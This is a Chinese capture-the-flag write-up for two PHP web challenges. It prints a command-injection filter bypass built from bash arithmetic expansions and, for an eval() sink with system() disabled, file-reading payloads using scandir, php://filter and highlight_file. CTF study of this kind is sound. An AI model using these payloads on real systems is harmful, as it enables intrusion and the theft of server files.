Web57
源代码:
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
代码审计:
过滤了数字和字母,以及一些符号。
没有过滤 $和括号()
思路:
使用$(())
进行取反运算,得到数字36.
双小括号(())是bash shell中用于进行整数运算的命令。
在前面加上美元符号$
来获取命令的运算结果。
$(())
的值是0,因为双括号中没有值。
进行取反运算$(( ~$(()) ))
,该式值为-1.
由于36的反码是-37,所以我们对-37取反,就能得到36
取反运算是这样的:
$(( ~$(([运算内容])) ))
我们在运算内容出填入37个$(( ~$(()) ))
,也就是-37,就能算出36
构造用脚本:
target = "$((~$(({}))))"
content = "$((~$(())))"
print(target.format(content*37))
EXP:
payload:
https://41f9be69-4d07-476e-a03b-d13adf528033.challenge.ctf.show/
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
得到flag.
Web58
源代码:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
代码审计:
POST传参c,执行系统命令。
思路:
一眼看上去很简单,直接POST传入命令执行函数,结果报错:
system() has been disabled for security reasons
system()出于安全原因已被禁用。
说明管理员在php配置文件中禁用了该命令执行函数。
使用其他命令函数也显示被禁用。
不能使用命令函数,我们考虑使用包含函数include与php伪协议。
EXP:
先扫描目录下的文件:
c=print_r(scandir(dirname('FILE')));
dirname('FILE')取得当前文件所在的目录
scandir作用是读取指定目录下的所有文件和子目录,并返回包含这些文件和子目录的数组。
发现有flag.php
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
得到flag.php文件base64编码后的内容,解码即可获得flag.
拓展:
也可以使用highlight_file显示文件内容:
c=highlight_file("flag.php");
或者使用show_source函数,效果也是显示源代码:
c=show_source('flag.php');